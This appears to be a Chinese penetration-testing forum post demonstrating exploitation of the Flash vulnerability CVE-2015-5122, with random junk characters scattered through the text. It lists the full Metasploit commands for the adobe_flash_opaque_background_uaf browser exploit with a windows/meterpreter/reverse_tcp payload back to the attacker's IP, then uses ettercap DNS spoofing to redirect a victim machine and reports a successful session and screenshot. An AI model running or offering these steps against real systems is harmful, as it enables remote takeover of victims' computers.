中国网络渗透测试联盟

标题: cve2015-5122漏洞实例演示虚拟机 [打印本页]
作者: admin    时间: 2018-10-20 20:28
标题: cve2015-5122漏洞实例演示虚拟机

" i p: n* u: T 二、cve2015-5122漏洞实例演示虚拟机 - _4 x2 |9 z! f* v# |: H% V% x+ N

8 q& ?# |& Z. U

4 U& w! v0 G; v6 H   关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图： l6 o, C7 n! v8 m5 @

( b% Z; o9 J$ J4 ~. x; a

- p g7 x% V Q8 ?6 J3 d) | search cve-2015-5122如图： 5 ]) v$ G* L" L$ ]6 n4 P; Q6 n! K

+ V l% F3 [* l) j0 o& B

& [) C9 a% I/ T- ]   ' ^6 {9 ?4 e% T. t: Q, T

* z1 ~2 F. s" x' b* ~7 }

$ r5 {( w$ `5 y9 u5 _ 下面我们敲如下命令： / V0 l, Y* M+ O# q7 S# s: ? v* T

* P8 _+ `$ a! C5 c& E% }" e1 l

9 J" T+ x* D& c' g# `2 X/ } use exploit/multi/browser/adobe_flash_opaque_background_uaf 7 }8 Q- R) Q. m2 n: i4 y

+ b4 Q3 U7 ?6 a# P- q$ c

R% O! s- I. J) k$ k set PAYLOAD windows/meterpreter/reverse_tcp a! p$ _1 y6 w0 z

+ z" }4 n9 i0 I. |

# A5 a3 T; r+ w# v& R set LHOST 192.168.0.109 F" V4 E. X" r- }+ x }8 d

4 p& W( K6 h! {& p+ M2 J6 R! i

7 q. u- y% d8 q, `8 W7 ~ set URIPATH /                        /*根目录*/ 2 A9 S- n7 ^, A: `) o! l" T

& f! B; g. Z- y) y/ L3 |9 _" J

" T8 B; u" a* B0 f set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 % H7 b5 ^, b/ |4 g0 A4 C7 x

8 R2 T3 B6 G/ {

' K" M4 i: E0 u. j set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 ' m% J) O6 p; ]2 D) Z' M E( w- ]

5 F, k) e1 l9 V

4 N, l* i( a3 K8 j8 J. x' | 然后show options如图： + Z" ~3 t" [4 ]" Y3 A; |; e

# N; Q" j- e- L5 E+ D

7 ^- M4 I7 j/ B   ( L( O2 ]- B; x6 K! G# _# w, a

! u0 @) k: V5 x2 l

: _/ e% ~: t2 }7 W 一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
2 y9 O4 R# o+ G) ]( u/ _' D / Q( p2 |5 ?$ h+ w. r/ d" U

; d& ^+ \6 K. t

. [% ~) F, n" r6 g' s2 P1 M 然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115 1 t( X ^( Q$ z+ C

6 T5 s( Q- f. p: J' h

' Y7 x, }( ?( }) h Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf # N4 V0 r8 V( R1 b: S- V2 f% M3 _3 A

% f% C1 ], i% F3 Z n; P

5 E+ l( r) c7 \" J6 h6 G/ _) `   t8 R" j$ G$ A! {7 N) x

5 ]4 F' e% m7 I! |

B: s' |& P, Z, g. F 成功了，这时候我们断开ettercap，如图： 9 e( y4 e2 I: v x# R) \1 W

: A n, Z8 M2 a; c

/ s. G$ N# H) n8 ~9 d i! O   v" i E }5 M1 c+ F0 ]

" i' _+ `# k' Z8 G% Q

8 p; e4 o0 N2 b5 C- M5 X% N Screenshot如图： ' i" a8 V& x' ^3 [& R) Z

# j) G6 q0 ^5 g! t6 k# b

" X a' ]' s) e9 o' J* S: D4 {# D   " X" {$ r( V* ~: C- W Z

" a7 x8 a8 V, R: P' [8 Y: M6 A

U7 Q* V1 V: U \ ; y' q, z, U8 B7 `. K





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2